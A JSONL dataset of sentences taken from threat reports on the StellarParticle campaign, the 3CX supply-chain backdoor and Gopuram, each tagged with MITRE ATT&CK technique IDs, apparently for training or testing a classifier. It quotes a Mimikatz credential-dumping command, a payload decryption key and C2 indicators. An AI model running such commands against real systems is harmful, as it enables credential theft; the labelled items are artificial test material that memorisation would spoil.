{"sentence": "Around the time when the threat actor executed Get-ADReplAccount, the threat actor also executed a renamed version of AdFind to output domain reconnaissance information.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In this instance, AdFind was renamed to masquerade as a legitimate Windows binary.", "labels": ["T1036.005"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The usage of renamed AdFind is consistent with other industry reporting on this campaign.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In addition to using scripted commands, operators were repeatedly observed manually executing several standard PowerShell cmdlets to enumerate network information from AD, including Get-ADUser and Get-ADGroupMember to query specific members in the directory.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This information provided the adversary with a list of accounts possessing particular privileges — in this case, the ability to make VPN connections — that would be subject to later credential stealing attempts and leveraged to access the victim at a later time.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Password Policies/Hygiene", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In some cases, the threat actor was able to quickly return to the environment and essentially pick up where they left off, even though the organization had performed an enterprise-wide password reset, including a reset of all service accounts and the double-reset of the krbtgt account.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "CrowdStrike determined that in these cases, administrative users had “reset” their own password to the same password they previously used, essentially nullifying the impact of the enterprise-wide reset.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This was possible even though the customer’s Active Directory was configured to require new passwords to be different from the previous five passwords for a given account.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Unfortunately, this check only applies when a user is changing their password via the “password change” method — but if a “password reset” is performed (changing the password without knowing the previous password), this check is bypassed for an administrative user or a Windows account that has the Reset Password permission on a user’s account object.12 Since the Get-ADReplAccount cmdlet described above included the NTHashHistory values (i.e., previous password hashes) for user accounts, CrowdStrike was able to verify that some administrative accounts indeed had the exact same password hash showing up multiple times in the password history, as well as in the current NTHash value.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Close Out The StellarParticle campaign, associated with the COZY BEAR adversary group, demonstrates this threat actor’s extensive knowledge of Windows and Linux operating systems, Microsoft Azure, O365, and Active Directory, and their patience and covert skill set to stay undetected for months — and in some cases, years.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "A special thank you to the CrowdStrike Incident Response and CrowdStrike Intelligence teams for helping make this blog possible, especially Ryan McCombs, Ian Barton, Patrick Bennet, Alex Parsons, Christopher Romano, Jackson Roussin and Tom Goldsmith.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Tactic Technique Observable Credential Access T1003.006 OS Credential Dumping: DCSync The threat actor obtained Active Directory credentials through domain replication protocols using the Get-ADReplAccount command from DSInternals Credential Access T1003.001: OS Credential Dumping: LSASS Memory The threat actor used a heavily obfuscated PowerShell script to execute the Mimikatz commands ‘privilege::debug sekurlsa::logonpasswords “lsadump::lsa /patch”‘ in-memory and encrypt the output Initial Access / Persistence T1078.003: Valid Accounts: Local Accounts A local account was used by the Threat Actor to establish a SSH tunnel into the internal network environment Initial Access / Persistence T1133:", "labels": ["T1003.001", "T1027", "T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "External Remote Services The threat actor used VPNs to gain access to systems and persist in the environment Credential Access T1555.003: Credentials from Password Stores: Credentials from Web Browsers The threat actor exported saved passwords from user’s Chrome browser installations Credential Access T1539:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Persistence T1546.003: Event Triggered Execution: Windows Management Instrumentation Event Subscription TrailBlazer was configured to execute after a reboot via a command-line event consumer Defense Evasion T1036.005:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Masquerading: Match Legitimate Name or Location The threat actor renamed their utilities to masquerade as legitimate system binaries (AdFind as svchost.exe), match the system’s role (GoldMax), or appear legitimate (TrailBlazer as an apparent Adobe utility).", "labels": ["T1036.005"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Additionally, the threat actor renamed their systems prior to connecting to victim’s VPNs to match the victim’s system naming convention Discovery T1087.002: Account Discovery: Domain Account T1482: Domain Trust Discovery T1069.002: Permission Groups Discovery: Domain Groups The threat actor used AdFind, standard PowerShell cmdlets, and custom tooling to identify various pieces of information from Active Directory Defense Evasion / Lateral Movement T1550.001:", "labels": ["T1036.005"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Data from Information Repositories: The threat actor accessed data from Information Repositories Persistence T1098.001:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Account Manipulation:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Additional Cloud Credentials The threat actor added credentials to O365 Service Principals Persistence T1078.004: Valid Accounts: Cloud Accounts The threat actor created new O365 Service Principals to maintain access to victim’s environments Discovery T1057: Process Discovery The threat actor regularly interrogated other systems using tasklist.exe Reconnaissance T1595.001:", "labels": ["T1057", "T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Active Scanning: Scanning IP Blocks The threat actor probed external services in an attempt to regain access to the environment Indicators of Compromise (IOCs) Indicator Details http://satkas.waw[.]pl/rainloop/forecast TrailBlazer C2 1326932d63485e299ba8e03bfcd23057f7897c3ae0d26ed1235c4fb108adb105 TrailBlazer SHA256 vm-srv-1.gel.ulaval.ca GoldMax C2 2a3b660e19b56dad92ba45dd164d300e9bd9c3b17736004878f45ee23a0177ac GoldMax SHA256 156.96.46.116 TA Infrastructure 188.34.185.85 TA Infrastructure 212.103.61.74 TA Infrastructure 192.154.224.126 TA Infrastructure 23.29.115.180 TA Infrastructure 104.237.218.74 TA Infrastructure 23.82.128.144 TA Infrastructure Additional Resources Read about the latest trends in threat hunting and more in the 2021 Threat Hunting Report or simply download the report now. Learn more about Falcon OverWatch proactive managed threat hunting.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Learn more about the CrowdStrike Falcon:registered: platform by visiting the product webpage.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Start your free trial of Falcon Prevent today.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Introduction The attack involved a compromised version of the 3CX VoIP desktop client, which was used to target 3CX’s customers.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The compromised 3CX application is a private automatic branch exchange (PABX) software and is available for Windows, macOS, Linux, Android, IOS and Chrome.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Currently, there are reports of attacks for both Windows and macOS.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The attack was reported in late March 2023 and is an ongoing investigation.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Executive Summary The North Korean state-sponsored group Labyrinth Chollima have been identified as the perpetrators behind the supply chain compromise of 3CXDesktopApp beta 18.12.407 and final 18.12.416 applications.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The affected applications are signed and have valid signatures.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The adversary infrastructure on GitHub used for staging the attack has now been taken down.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "This means that newer infections will not occur.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "However, the attack’s potential impact was significant, as the software is widely used by businesses around the world.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "To mitigate the risk, affected users are recommended to immediately uninstall the application and perform a full system scan to detect and remove any associated malware.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "When 3CXDesktopApp starts, it sideloads the compromised ffmpeg.dll, which in turn decodes the embedded shellcode from d3dcompiler_47.dll and loads it.", "labels": ["T1140"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The shellcode accesses a GitHub repository and brings down icon files which contain encrypted C2 strings that the shellcode then decrypts and communicates to.", "labels": ["T1027", "T1140"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The adversary has also deployed a previously unseen info stealer in the later stages of the attack and we have provided an analysis for it in later sections.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "This info stealer was likely meant to identify interesting targets for the operators.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Existing customers of Qualys can follow the steps in the Detection and Protection sections to identify potential impacts.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "We also recommended that customers implement robust security measures, such as regular vulnerability assessments, patch management regular auditing of vendors.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Overall, this supply chain attack highlights the importance of ensuring the security and integrity of the supply chain, as well as the need for businesses to remain vigilant and proactive in their security measures.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Operating SystemHashFilename Windows aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868 3cxdesktopapp-18.12.407.msi Windows 59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983 3cxdesktopapp-18.12.416.msi macOS 5407cda7d3a75e7b1e030b1f33337a56f293578ffa8b3ae19c671051ed314290 3CXDesktopApp-18.11.1213.dmg macOS e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec 3cxdesktopapp-latest.dmg Table.1 Details of the affected Applications Technical Analysis of Infection Stages First Stage Analysis", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The original MSI file which initiated the infection drops three files “3CXDesktopApp.exe”, “ffmpeg.dll”, and “d3dcompiler_47.dll”.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "3CXDesktopApp.exe is the legitimate VOIP desktop application and is abused for side loading “ffmpeg.dll”.", "labels": ["T1574.002"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Once found, the “ffmpeg.dll” loads the second DLL into memory.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Fig.2 ffmpeg enumerating current directory", "labels": ["T1083"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "ffmpeg.dll tries to identify this payload using the signature “0xCEFAEDFE”.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "“ffmpeg.dll” will try to decrypt it using the RC4 encryption scheme with the key “3jB(2bsG#@c7”.", "labels": ["T1140"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Fig.4 RC4 decryption The decrypted payload is shown below.", "labels": ["T1140"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Also, a call to VirtualProtect() is made to give the PAGE_EXECUTE_READWRITE permissions for the payload to be executed.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Fig.5 Decrypted payload The decrypted payload that is going to be executed contains another embedded DLL as shown below.", "labels": ["T1140"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The DLL is dumped from memory to perform more investigations on it.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "This repository has already been taken down.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Qualys TRU detected an info stealer involved in the infection chain and considers it as a later-stage payload.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Its capabilities are mainly gathering system and browser information, including Chrome, Edge, Firefox, and Brave Browsers.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Fig.8 Browser DB location The info stealer uses queries to fetch browsers history and data for Edge, SQLite database history for chrome and “Places” Table for Firefox.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Fig.9 SQL queries for collection The info stealer also collects information on infected hosts, such as domain name, Hostname and OS Version, using NetWkstaGetInfo() API.", "labels": ["T1005", "T1082", "T1106"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Users of the Qualys Cyber Security Asset Management can quickly identify all installed software across their organization.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Qualys Vulnerability Management Detection and Response (VMDR) users can scan their environment with this QID to quickly detect impacted systems.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "VMDR QID 378327 details Alternatively, another option is to gather data from endpoints to hunt for the existence of the impacted software.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The 3cxIngectionHunter script will simply crawl the filesystem looking for instances of the infected ffmpeg.dll file and report back if there is a match to the malicious hash.", "labels": ["T1083"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The 3CXLocalDNSCacheHunter script will collect the local DNS cache and look for a match against some of the known URLs associated with this campaign.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Using Qualys Custom Asset and Remediation, you can utilize the following PowerShell community scripts to identify potential infected assets by either copying the contents of the script manually or pointing the tool to the GitHub script directly to download.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Fig.14 CAR Scripts Users of Custom Assessment and Remediation and Qualys Patch Management can also push scripts to uninstall the impacted software automatically.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "An example output from a system that does not have a vulnerable version of ffmpeg.dll installed: Fig.15 CAR script output CAR can also be leveraged to remediate this vulnerability.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "This script checks for 3CX Desktop App’s vulnerable version 18.12.407.0 & 18.12.416.0 for Windows.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Fig.16 CAR script for remediation You can also create dashboards for better visualization.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Fig.17 CAR dashboard for 3CX Qualys Multi-Vector EDR customers are protected against this threat as both the installer and the beacon are detected and will be remediated.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "(Note: our instance was set to audit-only mode for analysis.)", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Fig.18 EPP Scan Results Fig.19 Epp Detection for shellcode loader Multi-Vector EDR customers can also hunt through telemetry, looking for behavior indicators to identify this threat activity.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "A first step would look for instances where the 3cxdesktopapp.exe process executed in the environment using a QQL Query of process.name:”3xcdesktopapp.exe”.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Here you would want to look for evidence of the ffmpeg.dll file being loaded, which would be indicative that this machine may be impacted by this campaign.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Conclusion Supply chain compromises are a growing concern for businesses, as they can lead to serious security breaches and financial losses.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "This is reminiscent of the SolarWinds campaign that we examined back in December 2022.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Organizations should take immediate steps to stop using the vulnerable version of the software, apply patches and monitor for anomalous behavior in 3CX processes.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "It is also essential to enable behavioral monitoring to detect the presence of such attacks within the system.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "MITRE TID Mapping TacticTechnique IDTechnique Name Resource Development T1608.001 Stage Capabilities: Upload Malware Resource Development T1587.003 Develop Capabilities: Digital Certificates Initial Access T1195.002 Supply Chain Compromise: Compromise Software Supply Chain Execution T1106 Native API Execution T1204.002", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "B86c695822013483fa4e2dfdf712c5ee777d7b99cbad8c2fa2274b133481eadb", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Infostealer dll Cad1120d91b812acafef7175f949dd1b09c6c21a 7faea2b01796b80d180399040bb69835 GitHub Repository raw[.]githubusercontent[.]com/IconStorages/images/main/ C2s akamaicontainer[.]com akamaitechcloudservices[.]com azuredeploystore[.]com azureonlinecloud[.]com azureonlinestorage[.]com dunamistrd[.]com glcloudservice[.]com journalide[.]org msedgepackageinfo[.]com msstorageazure[.]com msstorageboxes[.]com officeaddons[.]com officestoragebox[.]com pbxcloudeservices[.]com pbxphonenetwork[.]com pbxsources[.]com qwepoi123098[.]com sbmsa[.]wiki sourceslabs[.]com visualstudiofactory[.]com zacharryblogs[.]com Icon File Hashes a541e5fc421c358e0a2b07bf4771e897fb5a617998aa4876e0e1baa5fbb8e25c d459aa0a63140ccc647e9026bfd1fccd4c310c262a88896c57bbe3b6456bd090 d51a790d187439ce030cf763237e992e9196e9aa41797a94956681b6279d1b9a 4e08e4ffc699e0a1de4a5225a0b4920933fbb9cf123cde33e1674fde6d61444f 8c0b7d90f14c55d4f1d0f17e0242efd78fd4ed0c344ac6469611ec72defa6b2d f47c883f59a4802514c57680de3f41f690871e26f250c6e890651ba71027e4d3 2c9957ea04d033d68b769f333a48e228c32bcf26bd98e51310efd48e80c1789f 268d4e399dbbb42ee1cd64d0da72c57214ac987efbb509c46cc57ea6b214beca c62dce8a77d777774e059cf1720d77c47b97d97c3b0cf43ade5d96bf724639bd c13d49ed325dec9551906bafb6de9ec947e5ff936e7e40877feb2ba4bb176396 f1bf4078141d7ccb4f82e3f4f1c3571ee6dd79b5335eb0e0464f877e6e6e3182 2487b4e3c950d56fb15316245b3c51fbd70717838f6f82f32db2efcc4d9da6de e059c8c8b01d6f3af32257fc2b6fe188d5f4359c308b3684b1e0db2071c3425c d0f1984b4fe896d0024533510ce22d71e05b20bad74d53fae158dc752a65782e Contributors Travis Smith, Vice President, Threat Research Unit, Qualys Irfan Asrar, Director, Malware and Threat Research, Qualys Mayuresh Dani, Manager, Threat Research.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Qualys Sabri Naoufal, Senior Malware Analyst, Qualys Mohammad Shabbir, Malware Analyst, Qualys Akshat Pradhan, Senior Engineer, Threat Research, Qualys", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "On March 29, Crowdstrike published a report about a supply chain attack conducted via 3CXDesktopApp, a popular VoIP program.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Since then, the security community has started analyzing the attack and sharing their findings.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The following has been discovered so far:", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "An installer for macOS has also been trojanized.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The decrypted payload extracts C2 server URLs from icons stored in a GitHub repository (the repository is removed).", "labels": ["T1140"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The payload connects to one of the C2 servers, downloads an infostealer and starts it.", "labels": ["T1105"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "As we reviewed available reports on the 3CX attack, we began wondering if the compromise concluded with the infostealer or further implants followed.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "On one of the machines, we observed a DLL named guard64.dll, which was loaded into the infected 3CXDesktopApp.exe process.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Interestingly enough, we opened an investigation into a case linked to that DLL on March 21, about a week before the supply chain attack was discovered.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "A DLL with that name was used in recent deployments of a backdoor that we dubbed “Gopuram” and had been tracking internally since 2020.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Three years ago, we were investigating an infection of a cryptocurrency company located in Southeast Asia.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "During the investigation, we found that Gopuram coexisted on victim machines with AppleJeus, a backdoor attributed to the Korean-speaking threat actor Lazarus.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "As it turned out, the increase was directly related to the 3CX supply chain attack.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "We found out that the threat actor specifically targeted cryptocurrency companies, dropping the following files on infected machines: C:\\Windows\\system32\\wlbsctrl.dll, a malicious library (MD5: 9f85a07d4b4abff82ca18d990f062a84); C:\\Windows\\System32\\config\\TxR\\<machine hardware profile GUID>.TxR.0.regtrans-ms, an encrypted shellcode payload.", "labels": ["T1027"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "We further saw DLLs with the names ualapi.dll and ncobjapi.dll being sideloaded into spoolsv.exe and svchost.exe, respectively.", "labels": ["T1574.002"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The wlbsctrl.dll library is responsible for decrypting and executing the shellcode stored in the C:\\Windows\\System32\\config\\TxR directory.", "labels": ["T1140"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The decryption is notably performed through the CryptUnprotectData API function that uses a different encryption key internally on every machine.", "labels": ["T1106"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "This makes it difficult for researchers to decrypt the payload from the file without physical access to the victim machines.", "labels": ["T1140"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Snippet of the loading function using CryptUnprotectData The component loaded by the library is Gopuram’s main module.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "As mentioned above, its name in the export directory is guard64.dll.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The job of the main module is to connect to a C2 server and request commands.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The backdoor implements commands that allow the attackers to interact with the victim’s file system and create processes on the infected machine.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Connect Connects to a given host via a socket and waits for the server to send data.", "labels": ["T1095"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Registry Manipulates registry (lists, adds, deletes and exports keys).", "labels": ["T1112"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Timestomp Performs timestomping on files.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "KDU Kernel Driver Utility that allows an attacker to bypass driver signature enforcement.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The utility is used to load an unsigned driver (MD5: F684E10FF1FFCDD32C62E73A11382896).", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The driver collects information about installed AV filters and writes it to the C:\\Windows\\System32\\catroot2\\edb.chk.log file.", "labels": ["T1518.001"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "and writes it to the C:\\Windows\\System32\\config\\TxR\\<machine hardware profile GUID>.TxR.0.regtrans-ms file.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Net Partially implements features of the net command: management of users, groups, sessions and network shares.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The discovery of the new Gopuram infections allowed us to attribute the 3CX campaign to the Lazarus threat actor with medium to high confidence.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Our attribution is based on the following facts: While investigating an attack on a Southeast Asian cryptocurrency company in 2020, we found Gopuram coexisting on the same machine with the AppleJeus backdoor, which is attributed to Lazarus.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The Gopuram backdoor has been observed in attacks on cryptocurrency companies, which is aligned with the interests of the Lazarus threat actor.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "While looking for additional implants that used the same loader shellcode as the 3CX implants, we discovered a sample on a multiscanner service (MD5: 933508a9832da1150fcfdbc1ca9bc84c) loading a payload that uses the wirexpro[.]com C2 server.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The same server is listed as an IoC for an AppleJeus campaign by Malwarebytes.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "First bytes of the loader shellcode used in 3CX and AppleJeus Note, though, that the shellcode is based on open-source code that has been used by other threat actors, for example, SilentBreak.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Still, the use of that shellcode along with the 0xF558F4DA constant (which is the ROR13 hash for the string DllGetClassObject) is a more unique pattern.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "While investigating a malicious MSI file (MD5: ec3f99dd7d9dbce8d704d407b086e84f) that has been uploaded to a multiscanner service, we observed the following two events: The dll library dropped from the MSI was observed to launch an in-memory payload that contacts the oilycargo[.]com domain.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "In our telemetry, we observed AvBugReport.exe, the executable hosting dll, to contain Gopuram’s main module payload, guard64.dll.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "These four facts allow us to conclude that Lazarus is likely the threat actor deploying the Gopuram backdoor.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "As for the victims in our telemetry, installations of the infected 3CX software are located all over the world, with the highest infection figures observed in Brazil, Germany, Italy and France.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "As the Gopuram backdoor has been deployed to less than ten infected machines, it indicates that attackers used Gopuram with surgical precision.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "We additionally observed that the attackers have a specific interest in cryptocurrency companies.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "As it turns out, the infostealer is not the only malicious payload deployed during the 3CX supply chain attack.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "The threat actor behind Gopuram additionally infects target machines with the full-fledged modular Gopuram backdoor.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "Our investigation of the 3CX campaign is still far from complete.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
{"sentence": "We will continue analyzing the deployed implants to find out more details about the toolset used in the supply chain attack.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"}
